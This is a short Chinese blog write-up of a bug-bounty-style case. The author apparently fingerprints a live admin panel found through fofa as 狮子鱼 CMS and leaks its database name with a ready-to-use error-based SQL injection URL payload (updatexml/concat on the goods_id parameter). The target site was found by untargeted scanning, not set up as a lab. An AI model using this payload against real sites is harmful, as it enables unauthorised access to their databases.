X黑手网
X黑手网
X黑手网

实战SRC | 某站点后台管理系统SQL注入

0x01 前景

在进行fofa盲打站点的时候,来到了一个后台管理处看到集市二字,应该是edu站点

image

 

确认目标身份【归属】(使用的quake进行然后去ipc备案查询)

image

 

image

 

网站后台很像cms搭建的,在查看网站时发现

/seller.php?s=/Public/login

 

典型的狮子鱼cms的特征!!!

直接去百度一手,发现有个SQL注入还有其他的漏洞,打算一个一个尝试看看

image

 

0x02 尝试挖掘

直接拼接payload,尝试报错注入出数据库名:

https://www.xxx.com/index.php?s=api/goods_detail&goods_id=1%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)

OK,成功爆破出数据库名,SQL注入一枚到手~

image

 

© 版权声明
THE END
喜欢就支持一下吧
点赞5赞赏 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容